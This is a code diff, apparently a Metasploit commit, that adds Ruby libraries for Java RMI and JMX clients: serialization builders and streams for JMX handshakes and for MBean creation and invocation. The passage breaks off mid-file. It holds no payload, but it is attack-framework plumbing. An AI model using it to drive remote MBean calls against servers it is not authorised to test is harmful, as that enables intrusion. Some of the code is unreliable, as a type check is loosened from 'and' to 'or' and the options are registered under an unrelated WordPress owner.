Land #4560, Massive Java RMI update
commit
0597d2defb
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -75,6 +75,12 @@ require 'msf/http/jboss'
|
|||
# Kerberos Support
|
||||
require 'msf/kerberos/client'
|
||||
|
||||
# Java RMI Support
|
||||
require 'msf/java/rmi/client'
|
||||
|
||||
# Java JMX Support
|
||||
require 'msf/java/jmx'
|
||||
|
||||
# Drivers
|
||||
require 'msf/core/exploit_driver'
|
||||
|
||||
|
|
|
@ -0,0 +1,39 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/java/serialization'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
require 'msf/java/jmx/util'
|
||||
require 'msf/java/jmx/discovery'
|
||||
require 'msf/java/jmx/handshake'
|
||||
require 'msf/java/jmx/mbean'
|
||||
|
||||
include Msf::Java::Jmx::Util
|
||||
include Msf::Java::Jmx::Discovery
|
||||
include Msf::Java::Jmx::Handshake
|
||||
include Msf::Java::Jmx::Mbean
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
|
||||
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint'])
|
||||
], HTTP::Wordpress
|
||||
)
|
||||
end
|
||||
|
||||
def jmx_role
|
||||
datastore['JMX_ROLE']
|
||||
end
|
||||
|
||||
def jmx_password
|
||||
datastore['JMX_PASSWORD']
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,29 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
# This module provides methods which help to handle JMX end points discovery
|
||||
module Discovery
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to discover
|
||||
# an JMX RMI endpoint
|
||||
#
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def discovery_stream
|
||||
obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(
|
||||
nil,
|
||||
"#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf"
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi')
|
||||
|
||||
stream
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,56 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
# This module provides methods which help to handle a JMX handshake
|
||||
module Handshake
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to make
|
||||
# a JMX handshake with an endpoint
|
||||
#
|
||||
# @param id [String] The endpoint UnicastRef ObjId
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def handshake_stream(obj_id)
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8")
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
|
||||
if jmx_role
|
||||
username = jmx_role
|
||||
password = jmx_password || ''
|
||||
|
||||
stream.contents << auth_array_stream(username, password)
|
||||
else
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
end
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
|
||||
# to make an authenticated handshake
|
||||
#
|
||||
# @param username [String] The username (role) to authenticate with
|
||||
# @param password [String] The password to authenticate with
|
||||
# @return [Rex::Java::Serialization::Model::NewArray]
|
||||
def auth_array_stream(username, password)
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
auth_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: 0xadd256e7e91d7b47, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, username),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, password)
|
||||
]
|
||||
)
|
||||
|
||||
auth_array
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,13 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
module Mbean
|
||||
require 'msf/java/jmx/mbean/server_connection'
|
||||
|
||||
include Msf::Java::Jmx::Mbean::ServerConnection
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,155 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
module Mbean
|
||||
# This module provides methods which help to handle with MBean related calls.
|
||||
# Specially, simulating calls with the Java javax.management.MBeanServerConnection
|
||||
# class
|
||||
module ServerConnection
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
|
||||
# to the createMBean method.
|
||||
#
|
||||
# @param opts [Hash{Symbol => String}]
|
||||
# @option opts [String] :obj_id the jmx endpoint ObjId
|
||||
# @option opts [String] :name the name of the MBean
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def create_mbean_stream(opts = {})
|
||||
obj_id = opts[:obj_id] || "\x00" * 22
|
||||
name = opts[:name] || ''
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6")
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the
|
||||
# Java getObjectInstance method.
|
||||
#
|
||||
# @param opts [Hash{Symbol => String}]
|
||||
# @option opts [String] :obj_id the jmx endpoint ObjId
|
||||
# @option opts [String] :name the name of the MBean
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def get_object_instance_stream(opts = {})
|
||||
obj_id = opts[:obj_id] || "\x00" * 22
|
||||
name = opts[:name] || ''
|
||||
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2")
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: 0xf03a71beb6d15cf, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << new_object
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
|
||||
# to the Java invoke method.
|
||||
#
|
||||
# @param opts [Hash{Symbol => String}]
|
||||
# @option opts [String] :obj_id the jmx endpoint ObjId
|
||||
# @option opts [String] :object the object whose method we want to call
|
||||
# @option opts [String] :method the method name to invoke
|
||||
# @option opts [String] :args the arguments of the method to invoke
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def invoke_stream(opts = {})
|
||||
obj_id = opts[:obj_id] || "\x00" * 22
|
||||
object_name = opts[:object] || ''
|
||||
method_name = opts[:method] || ''
|
||||
arguments = opts[:args] || {}
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20")
|
||||
|
||||
new_object = builder.new_object(
|
||||
name: 'javax.management.ObjectName',
|
||||
serial: 0xf03a71beb6d15cf, # serialVersionUID
|
||||
flags: 3
|
||||
)
|
||||
|
||||
data_binary = builder.new_array(
|
||||
name: '[B',
|
||||
serial: 0xacf317f8060854e0, # serialVersionUID
|
||||
values_type: 'byte',
|
||||
values: invoke_arguments_stream(arguments).encode.unpack('C*')
|
||||
)
|
||||
|
||||
marshall_object = builder.new_object(
|
||||
name: 'java.rmi.MarshalledObject',
|
||||
serial: 0x7cbd1e97ed63fc3e, # serialVersionUID
|
||||
fields: [
|
||||
['int', 'hash'],
|
||||
['array', 'locBytes', '[B'],
|
||||
['array', 'objBytes', '[B']
|
||||
],
|
||||
data: [
|
||||
["int", 1919492550],
|
||||
Rex::Java::Serialization::Model::NullReference.new,
|
||||
data_binary
|
||||
]
|
||||
)
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: 0xadd256e7e91d7b47, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << new_object
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name)
|
||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name)
|
||||
stream.contents << marshall_object
|
||||
stream.contents << new_array
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
|
||||
# simulate a call to the Java invoke method method.
|
||||
#
|
||||
# @param args [Hash] the arguments of the method to invoke
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def invoke_arguments_stream(args = {})
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
new_array = builder.new_array(
|
||||
name: '[Ljava.lang.Object;',
|
||||
serial: 0x90ce589f1073296c, # serialVersionUID
|
||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||
values_type: 'java.lang.Object;',
|
||||
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << new_array
|
||||
|
||||
stream
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,89 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
# This module provides methods which help to handle data
|
||||
# used by Java JMX
|
||||
module Util
|
||||
|
||||
# Extracts a Rex::Java::Serialization::Model::NewObject from
|
||||
# a Rex::Java::Serialization::Model::Stream
|
||||
#
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from
|
||||
# @param id [Fixnum] the content position storing the object
|
||||
# @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise
|
||||
def extract_object(stream, id)
|
||||
new_object = nil
|
||||
|
||||
if stream.contents[id]
|
||||
new_object = stream.contents[id]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
||||
unless new_object.class == Rex::Java::Serialization::Model::NewObject
|
||||
return nil
|
||||
end
|
||||
|
||||
new_object.class_desc.description.class_name.contents
|
||||
end
|
||||
|
||||
# Extracts an string from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the string from
|
||||
# @return [String, nil] the extracted string if success, nil otherwise
|
||||
def extract_string(io)
|
||||
raw_length = io.read(2)
|
||||
unless raw_length && raw_length.length == 2
|
||||
return nil
|
||||
end
|
||||
length = raw_length.unpack('n')[0]
|
||||
|
||||
string = io.read(length)
|
||||
unless string && string.length == length
|
||||
return nil
|
||||
end
|
||||
|
||||
string
|
||||
end
|
||||
|
||||
# Extracts an int from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the int from
|
||||
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
||||
def extract_int(io)
|
||||
int_raw = io.read(4)
|
||||
unless int_raw && int_raw.length == 4
|
||||
return nil
|
||||
end
|
||||
int = int_raw.unpack('N')[0]
|
||||
|
||||
int
|
||||
end
|
||||
|
||||
# Extracts an UnicastRef (endpoint) information from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the int from
|
||||
# @return [Hash, nil] the extracted int if success, nil otherwise
|
||||
def extract_unicast_ref(io)
|
||||
ref = extract_string(io)
|
||||
unless ref && ref == 'UnicastRef'
|
||||
return nil
|
||||
end
|
||||
|
||||
address = extract_string(io)
|
||||
return nil unless address
|
||||
|
||||
port = extract_int(io)
|
||||
return nil unless port
|
||||
|
||||
id = io.read
|
||||
|
||||
{ address: address, port: port, id: id }
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,138 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/rmi'
|
||||
require 'rex/java/serialization'
|
||||
require 'stringio'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
|
||||
require 'msf/java/rmi/client/streams'
|
||||
|
||||
include Msf::Java::Rmi::Client::Streams
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
# Returns the target host
|
||||
#
|
||||
# @return [String]
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
# Returns the target port
|
||||
#
|
||||
# @return [Fixnum]
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
# Returns the RMI server peer
|
||||
#
|
||||
# @return [String]
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
# Sends a RMI header stream
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_header
|
||||
def send_header(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
stream = build_header(opts)
|
||||
nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00")
|
||||
end
|
||||
|
||||
# Sends a RMI CALL stream
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_call
|
||||
def send_call(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
stream = build_call(opts)
|
||||
nsock.put(stream.encode)
|
||||
end
|
||||
|
||||
# Sends a RMI DGCACK stream
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Fixnum] the number of bytes sent
|
||||
# @see Msf::Rmi::Client::Streams#build_dgc_ack
|
||||
def send_dgc_ack(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
stream = build_dgc_ack(opts)
|
||||
nsock.put(stream.encode)
|
||||
end
|
||||
|
||||
# Reads the Protocol Ack
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Rex::Proto::Rmi::Model::ProtocolAck]
|
||||
# @see Rex::Proto::Rmi::Model::ProtocolAck.decode
|
||||
def recv_protocol_ack(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
data = safe_get_once(nsock)
|
||||
begin
|
||||
ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data))
|
||||
rescue ::RuntimeError
|
||||
return nil
|
||||
end
|
||||
|
||||
ack
|
||||
end
|
||||
|
||||
# Reads a ReturnData message and returns the java serialized stream
|
||||
# with the return data value.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [Rex::Java::Serialization::Stream]
|
||||
# @see Rex::Proto::Rmi::Model::ReturnData.decode
|
||||
def recv_return(opts = {})
|
||||
nsock = opts[:sock] || sock
|
||||
data = safe_get_once(nsock)
|
||||
begin
|
||||
return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data))
|
||||
rescue ::RuntimeError
|
||||
return nil
|
||||
end
|
||||
|
||||
return_data.return_value
|
||||
end
|
||||
|
||||
# Helper method to read fragmented data from a ```Rex::Socket::Tcp```
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [String]
|
||||
def safe_get_once(nsock = sock)
|
||||
data = ''
|
||||
begin
|
||||
res = nsock.get_once
|
||||
rescue ::EOFError
|
||||
res = nil
|
||||
end
|
||||
|
||||
until res.nil? || res.length < 1448
|
||||
data << res
|
||||
begin
|
||||
res = nsock.get_once
|
||||
rescue ::EOFError
|
||||
res = nil
|
||||
end
|
||||
end
|
||||
|
||||
data << res if res
|
||||
data
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,70 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/java/serialization'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Streams
|
||||
|
||||
# Builds a RMI header stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :signature
|
||||
# @option opts [Fixnum] :version
|
||||
# @option opts [Fixnum] :protocol
|
||||
# @return [Rex::Proto::Rmi::Model::OutputHeader]
|
||||
def build_header(opts = {})
|
||||
signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE
|
||||
version = opts[:version] || 2
|
||||
protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL
|
||||
|
||||
header = Rex::Proto::Rmi::Model::OutputHeader.new(
|
||||
signature: signature,
|
||||
version: version,
|
||||
protocol: protocol)
|
||||
|
||||
header
|
||||
end
|
||||
|
||||
# Builds a RMI call stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Rex::Java::Serialization::Model::Stream>}]
|
||||
# @option opts [Fixnum] :message_id
|
||||
# @option opts [Rex::Java::Serialization::Model::Stream] :call_data
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
def build_call(opts = {})
|
||||
message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE
|
||||
call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new
|
||||
|
||||
call = Rex::Proto::Rmi::Model::Call.new(
|
||||
message_id: message_id,
|
||||
call_data: call_data
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds a RMI dgc ack stream
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}]
|
||||
# @option opts [Fixnum] :stream_id
|
||||
# @option opts [String] :unique_identifier
|
||||
# @return [Rex::Proto::Rmi::Model::DgcAck]
|
||||
def build_dgc_ack(opts = {})
|
||||
stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE
|
||||
unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new(
|
||||
stream_id: stream_id,
|
||||
unique_identifier: unique_identifier
|
||||
)
|
||||
|
||||
dgc_ack
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -51,4 +51,5 @@ module Rex
|
|||
end
|
||||
end
|
||||
|
||||
require 'rex/java/serialization/model'
|
||||
require 'rex/java/serialization/model'
|
||||
require 'rex/java/serialization/builder'
|
|
@ -0,0 +1,94 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
# This class provides a builder to help in the construction of
|
||||
# Java serialized contents.
|
||||
class Builder
|
||||
|
||||
# Creates a Rex::Java::Serialization::Model::NewArray
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, String, Array>}]
|
||||
# @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description
|
||||
# @option opts [String] :values_type
|
||||
# @option opts [Array] :values
|
||||
# @return [Rex::Java::Serialization::Model::NewArray]
|
||||
# @see #new_class
|
||||
def new_array(opts = {})
|
||||
class_desc = opts[:description] || new_class(opts)
|
||||
type = opts[:values_type] || ''
|
||||
values = opts[:values] || []
|
||||
|
||||
array = Rex::Java::Serialization::Model::NewArray.new
|
||||
array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
array.array_description.description = class_desc
|
||||
array.type = type
|
||||
array.values = values
|
||||
|
||||
array
|
||||
end
|
||||
|
||||
# Creates a Rex::Java::Serialization::Model::NewObject
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}]
|
||||
# @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description
|
||||
# @option opts [Array] :data
|
||||
# @return [Rex::Java::Serialization::Model::NewObject]
|
||||
# @see #new_class
|
||||
def new_object(opts = {})
|
||||
class_desc = opts[:description] || new_class(opts)
|
||||
data = opts[:data] || []
|
||||
|
||||
object = Rex::Java::Serialization::Model::NewObject.new
|
||||
object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
object.class_desc.description = class_desc
|
||||
object.class_data = data
|
||||
|
||||
object
|
||||
end
|
||||
|
||||
# Creates a Rex::Java::Serialization::Model::NewClassDesc
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}]
|
||||
# @option opts [String] :name
|
||||
# @option opts [Fixnum] :serial
|
||||
# @option opts [Fixnum] :flags
|
||||
# @option opts [Array] :fields
|
||||
# @option opts [Array] :annotations
|
||||
# @option opts [Rex::Java::Serialization::Model::Element] :super_class
|
||||
# @return [Rex::Java::Serialization::Model::NewClassDesc]
|
||||
def new_class(opts = {})
|
||||
class_name = opts[:name] || ''
|
||||
serial_version = opts[:serial] || 0
|
||||
flags = opts[:flags] || 2
|
||||
fields = opts[:fields] || []
|
||||
annotations = opts[:annotations] || [Rex::Java::Serialization::Model::NullReference.new,
|
||||
Rex::Java::Serialization::Model::EndBlockData.new]
|
||||
super_class = opts[:super_class] || Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
||||
class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, class_name)
|
||||
class_desc.serial_version = serial_version
|
||||
class_desc.flags = flags
|
||||
class_desc.fields = []
|
||||
|
||||
fields.each do |f|
|
||||
field = Rex::Java::Serialization::Model::Field.new
|
||||
field.type = f[0]
|
||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, f[1])
|
||||
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, f[2]) if f[2]
|
||||
class_desc.fields << field
|
||||
end
|
||||
|
||||
class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
||||
class_desc.class_annotation.contents = annotations
|
||||
class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
||||
class_desc.super_class.description = super_class
|
||||
|
||||
class_desc
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -109,6 +109,11 @@ module Rex
|
|||
|
||||
desc = array_description.description
|
||||
|
||||
if desc.class == Reference
|
||||
ref = desc.handle - BASE_WIRE_HANDLE
|
||||
desc = stream.references[ref]
|
||||
end
|
||||
|
||||
unless desc.class_name.contents[0] == '[' # Array
|
||||
raise ::RuntimeError, 'Unsupported NewArray description'
|
||||
end
|
||||
|
|
|
@ -66,9 +66,9 @@ module Rex
|
|||
# @return [String] if serialization succeeds
|
||||
# @raise [RuntimeError] if serialization doesn't succeed
|
||||
def encode
|
||||
unless class_name.kind_of?(Rex::Java::Serialization::Model::Utf) &&
|
||||
class_annotation.kind_of?(Rex::Java::Serialization::Model::Annotation) &&
|
||||
super_class.kind_of?(Rex::Java::Serialization::Model::ClassDesc)
|
||||
unless class_name.class == Rex::Java::Serialization::Model::Utf ||
|
||||
class_annotation.class == Rex::Java::Serialization::Model::Annotation ||
|
||||
super_class.class == Rex::Java::Serialization::Model::ClassDesc
|
||||
raise ::RuntimeError, 'Filed to serialize NewClassDesc'
|
||||
end
|
||||
encoded = ''
|
||||
|
|
|
@ -95,8 +95,13 @@ module Rex
|
|||
def decode_class_data(io, my_class_desc)
|
||||
values = []
|
||||
|
||||
unless my_class_desc.super_class.description.kind_of?(NullReference)
|
||||
values += decode_class_data(io, my_class_desc.super_class.description)
|
||||
unless my_class_desc.super_class.description.class == NullReference
|
||||
if my_class_desc.super_class.description.class == Reference
|
||||
ref = my_class_desc.super_class.description.handle - BASE_WIRE_HANDLE
|
||||
values += decode_class_data(io, stream.references[ref])
|
||||
else
|
||||
values += decode_class_data(io, my_class_desc.super_class.description)
|
||||
end
|
||||
end
|
||||
|
||||
values += decode_class_fields(io, my_class_desc)
|
||||
|
|
|
@ -6,6 +6,7 @@ require 'rex/proto/dcerpc'
|
|||
require 'rex/proto/drda'
|
||||
require 'rex/proto/iax2'
|
||||
require 'rex/proto/kerberos'
|
||||
require 'rex/proto/rmi'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
|
|
|
@ -0,0 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# JAVA RMI Wire protocol implementation
|
||||
# http://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmi-protocol.html
|
||||
|
||||
require 'rex/proto/rmi/model'
|
||||
|
|
@ -0,0 +1,31 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Rmi
|
||||
module Model
|
||||
SIGNATURE = 'JRMI'
|
||||
STREAM_PROTOCOL = 0x4b
|
||||
SINGLE_OP_PROTOCOL = 0x4c
|
||||
MULTIPLEX_PROTOCOL = 0x4d
|
||||
CALL_MESSAGE = 0x50
|
||||
PING_MESSAGE = 0x52
|
||||
DGC_ACK_MESSAGE = 0x54
|
||||
PROTOCOL_ACK = 0x4e
|
||||
PROTOCOL_NOT_SUPPORTED = 0x4f
|
||||
RETURN_DATA = 0x51
|
||||
PING_ACK = 0x53
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'rex/proto/rmi/model/element'
|
||||
require 'rex/proto/rmi/model/output_header'
|
||||
require 'rex/proto/rmi/model/protocol_ack'
|
||||
require 'rex/proto/rmi/model/continuation'
|
||||
require 'rex/proto/rmi/model/call'
|
||||
require 'rex/proto/rmi/model/return_data'
|
||||
require 'rex/proto/rmi/model/dgc_ack'
|
||||
require 'rex/proto/rmi/model/ping'
|
||||
require 'rex/proto/rmi/model/ping_ack'
|
|
@ -0,0 +1,60 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Rmi
|
||||
module Model
|
||||
# This class provides a representation of an RMI call message
|
||||
class Call < Element
|
||||
|
||||
# @!attribute message_id
|
||||
# @return [Fixnum] the message id
|
||||
attr_accessor :message_id
|
||||
# @!attribute call_data
|
||||
# @return [Rex::Java::Serialization::Model::Stream] the serialized call data
|
||||
attr_accessor :call_data
|
||||
|
||||
private
|
||||
|
||||
# Reads the message id from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if fails to decode the message id
|
||||
def decode_message_id(io)
|
||||
message_id = read_byte(io)
|
||||
unless message_id == CALL_MESSAGE
|
||||
raise ::RuntimeError, 'Failed to decode Call message id'
|
||||
end
|
||||
|
||||
message_id
|
||||
end
|
||||
|
||||
# Reads and deserializes the call data from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def decode_call_data(io)
|
||||
call_data = Rex::Java::Serialization::Model::Stream.decode(io)
|
||||
|
||||
call_data
|
||||
end
|
||||
|
||||
# Encodes the message_id field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_message_id
|
||||
[message_id].pack('C')
|
||||
end
|
||||
|
||||
# Encodes the address field
|
||||
#
|
||||
# @return [String]
|
||||
def encode_call_data
|
||||
call_data.encode
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,76 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Rmi
|
||||
module Model
|
||||
# This class provides a representation of an RMI continuation stream
|
||||
class Continuation < Element
|
||||
|
||||
# @!attribute length
|
||||
# @return [Fixnum] the end point address length
|
||||
attr_accessor :length
|
||||
# @!attribute address
|
||||
# @return [String] the end point address
|
||||
attr_accessor :address
|
||||
# @!attribute port
|
||||
# @return [Fixnum] the end point port
|
||||
attr_accessor :port
|
||||
|
||||
private
|
||||
|
||||
# Reads the end point identifier address length from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
# @return [Fixnum]
|
||||
def decode_length(io)
|
||||
length = read_short(io)
|
||||
|
||||
length
|
||||
end
|
||||
|
||||
# Reads the end point address from the IO
|
||||
#
|
||||
# @param io [IO] the IO to read from
|
||||
